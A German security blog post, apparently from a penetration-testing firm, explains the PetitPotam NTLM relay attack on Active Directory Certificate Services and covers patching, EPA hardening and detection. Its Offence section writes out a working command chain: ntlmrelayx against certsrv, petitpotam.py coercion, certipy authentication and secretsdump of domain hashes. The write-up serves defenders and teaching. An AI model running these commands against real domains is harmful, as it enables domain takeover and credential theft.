Petit Potam – NTLM Relay Angriff

Grundlage zur Frage, was ist Petit Potam?

Petit Potam aus dem Französischen übersetzt, bedeutet kleines Flusspferd.

Um den Petit Potam Angriff zu erklären, gehen wir vorab kurz auf das Wesentliche ein.

Mithilfe der Schwachstelle „Petit Potam“, veröffentlicht von @topotam77 im Juli 2021 (CVE-2021-36942), ist eine erfolgreiche Übernahme einer Windows-Domäne möglich. Dabei zielt die Schwachstelle auf das Active Directory, genauer gesagt auf die Microsoft Active Directory Certificate Services (ADCS), einschließlich Domänen-Controller mithilfe eines NTLM-Relay ab.

Du willst Dir die Folgen eines erfolgreichen Hackerangriffs auf
Dein IT-System ersparen?
Teste jetzt deine IT durch einen professionellen Penetrationstest!
Zum Penetrationstest

Kurzer Rückblick: Printerbug-MS-RPRN

Die meisten Unternehmen verwenden die im obigen Abschnitt angesprochenen Active Directory Certificate Services, kurz ADCS von Microsoft. Dies ist ein Public-Key Infrastructure (PKI)-Server, der für die Erstellung von Zertifikaten in einer Domäne verantwortlich ist. Durch unterschiedlichste Methoden ist es möglich, unter Verwendung von ausgestellten Zertifikaten sich innerhalb einer Domäne zu authentifizieren und diese gar zu übernehmen.

Dabei wird der Domänen Controller mithilfe der „RpcRemoteFindFirstPrinterChangeNotification“ der MS-RPRN-Druck-API dazu gebracht, sich bei bösartigen Clients zu authentifizieren. Die abgefangene Authentifizierung wird anschließend mittels NTLM-Relay-Angriff über HTTP an die Active Directory Zertifikatsdienste weitergeleitet. Nach der Authentifizierung sendet der Zertifikatsdienst ein gültiges Zertifikat des Domänen-Controllers an den Angreifer zurück.

Steigere jetzt die Sicherheit Deines IT-Systems!
Von uns erhältst Du eine ausführliche Beratung!
Jetzt kontaktieren

Offence: Wie funktioniert der "Petit Potam - NTLM Relay" Angriff?

Zur technischen Umsetzung des Petit Potam Angriffs werden folgende Tools verwendet: PetitPotam.py Impacket-ntlmrelay Certipy nmap, nur als Netzwerkscanner zur Erkennung der Dienste
Damit der Angriff erfolgreich durchgeführt werden kann, müssen folgende Vorraussetzungen gegeben sein: Der Domain-Controller muss mit seiner IP-Adresse sowie seiner FQDN (Full-Qualified-Domain Name) eindeutig identifiziert worden sein. Ein ADCS muss in der Domäne implementiert sein. Hierbei muss die Zertifikatsvergabe über HTTP möglich sein. Der ADCS kann beispielsweise mit Bloodhound identifiziert werden. Der Domain-Controller muss Kerberos verwalten können, sprich Port 88 sollte offen sein, damit ein erfolgreicher TGT-Request erfolgen kann. Dies kann mit einem einfachen Nmap-Scan geprüft werden.
				
					nmap -sS <DC-IP>
				
			

Sobald der Domain-Controller sowie der CA-Server (Certificate-Authority) identifiziert wurde, kann ein Relay-Angriff mithilfe des Tools NTLMRelayx von IMPACKET in Kombination mit dem von Gilles Lionel zur Verfügung gestellten PoC (PetitPotam.py) ausgeführt werden.

				
					ntlmrelayx.py -t http://<FQDN-ADCS>/certsrv -smb2support --adcs --template DomainController
				
			
				
					petitpotam.py <Lokale-IP> <DC-IP>
				
			

Es ist wichtig, dass zuerst der Relay-Angriff (siehe rechte Seite, Abbildung) gestartet wird und anschließend der PetitPotam (EfsRpcOpenFileRaw) ausgeführt wird.

Dabei ist zu beachten, dass beim PetitPotam (siehe linke Seite, Abbildung) zuerst die eigene IP und anschließend die IP des Domain-Controllers anzugeben ist.

War der Relay erfolgreich, übersendet der Certificate Authority Server das vermeintlich angeforderte Zertifikat vom Domain-Controller. Das Zertifikat kann anschließend mithilfe eines beliebigen Texteditors gespeichert werden. Das gespeicherte Zertifikat muss von Base64 decodiert werden und als pfx Datei gespeichert werden. Wenn das DomainController Zertifikat nicht funktioniert, kann das DomainControllerAuthentication genutzt werden. Die Namen der Zertifikatsvorlagen funktionieren auch in einem deutschen AD.

				
					cat <Base64Zertifikat> | base64 -d > <Zertifikat>.pfx
				
			

Im Anschluss kann das Ticket Granting Ticket (TGT) mithilfe des Tools „certipy“ angefordert werden. Das „auth“ steht dabei für „authenticate”. Zur Authentifizierung wird das zuvor gespeicherte Zertifikat (pfx) verwendet.

				
					certipy auth -pfx <Zertifikat>.pfx
				
			

War die Authentifizierung erfolgreich, erhält man den NT-Hash und den Ticket Granting Ticket in einer ccache Datei, mit dem man beispielsweise einen SecretDump durchführen kann, um an weitere Benutzerdaten zu gelangen.

				
					KRB5CCNAME=/path/to/ccache impacket-secretsdump -just-dc-ntlm <domäne>/<DC-Hostname>$@<DC-FQDN> -k -no-pass 
				
			

Defense: Mögliche Schutzmaßnahmen

Als erste und einfachste Möglichkeit ist natürlich der Patch von Microsoft da. Der erste Patch hat die Lücke nicht vollumfänglich geschlossen. Aber Microsoft hat im Mai 2022 nachgebessert und zum “Patch-Tuesday” kam ein nächster Versuch, der bis jetzt gut aussieht, leider aber in manchen Umgebungen für Probleme sorgen kann. Microsoft behandelt das Thema in diesem Beitrag und in diesem KB Artikel.

Nach dem Patch sieht der Angriff dann so aus, dass keine der Anfragen durchgeht.

Als eine der ersten weiteren Maßnahmen sollte man sich fragen, ob die Webregistrierung überhaupt benötigt wird oder ob man das eleganter mit Hilfe von Powershell oder der Management-Console realisieren kann. Die Zertifizierungsstellen-Webregistrierung ist fast 20 Jahre alt und wurde das letzte Mal mit dem Release von Windows Server 2003 angepasst.

Als zusätzliche Maßnahme wird die Härtung des ADCS und der Zertifikatsvorlagen empfohlen. Nicht benötigte Zertifikate sollten nicht mehr veröffentlicht sein und die anderen Zertifikate sollten eine Zertifizierungs-Manager-Genehmigung erfordern. Dies erhöht den administrativen Aufwand, da die Zertifikate nicht mehr automatisch verteilt werden.

Sollte der Webservice (Certificate Authority Web Enrollment, Certificate Enrollment Web Service) genutzt werden, sollten die Schritte aus diesem KB Artikel ausgeführt werden. Hier einmal zusammengefasst, was zu tun ist.

HTTP deaktivieren und HTTPS benutzen, da man praktischerweise eine CA hat, kann man damit die passenden Webserver-Zertifikate erstellen und im IIS einbinden.

Anschließend die Extendet Protection for Authentication (EPA) auf “Require” setzen.

Dies muss für den “Zertifizierungsstellen-Webregistrierung” und den “Zertifikatregistrierungs-Webdienst” durchgeführt werden.

Für den “Zertifikatregistrierungs-Webdienst” (CES) muss zusätzlich die web.config editiert werden.

				
					<%windir%>\systemdata\CES\<CA Name>_CES_Kerberos\web.config
				
			
				
					<binding name="TransportWithHeaderClientAuth">
     <security mode="Transport">
         <transport clientCredentialType="Windows">
         <extendedProtectionPolicy policyEnforcement="Always" />
         </transport>
         <message clientCredentialType="None" establishSecurityContext="false" negotiateServiceCredential="false" />
     </security>
     <readerQuotas maxStringContentLength="131072" />
</binding>
				
			

Zeile 4 muss hinzugefügt oder zu “Always” geändert werden.

Zum Schluss muss der Webserver neu gestartet werden.

				
					iisreset /restart
				
			

Weitere Maßnahmen wie das Deaktivieren von NTLM basierter Anmeldung, RPC Netfilter oder die RPCFirewall erhöhen natürlich die Sicherheit zusätzlich.

Detect: Wie kann ich den Angriff erkennen?

Angriffe auf die CA und den Webserver sollten über fehlerhafte Anmeldungen und gescheiterte Zertifikatsanforderungen sichtbar sein. Da das Logging von RPC Anfragen im Windows nicht immer vollumfänglich funktioniert, können einige Anfragen ungesehen bleiben. Hier würde die RPCFirewall Abhilfe schaffen, da sie ein eigenes Log schreibt.

				
					Event Viewer -> Applications and Services Logs -> RPCFW
Event Viewer -> Security-> RPCFW [ID 5712]
				
			

React: Wie gehe ich mit erkannten Angreifern im Netzwerk um?

Nach Durchführung der oben genannten Einstellungen und Einspielung der Patches kann es sein, dass Sie leider feststellen müssen, dass es Angreifer in Ihrem Netz gibt. In diesem Fall raten wir Ihnen dazu, so viel wie möglich zu dokumentieren und ggf. fachliche Hilfe hinzuzuziehen.

ISMS Control (ISO, BSI, NIST, TISAX)

ANDERE BEITRÄGE

Inhaltsverzeichnis

Willst Du Teil unseres Teams werden?

Wir verwenden Cookies, um Ihnen die bestmögliche Erfahrung zu bieten. Wenn Sie unsere Website weiterhin besuchen, stimmen Sie der Verwendung von Cookies zu, wie in unserer Datenschutzerklärung beschrieben.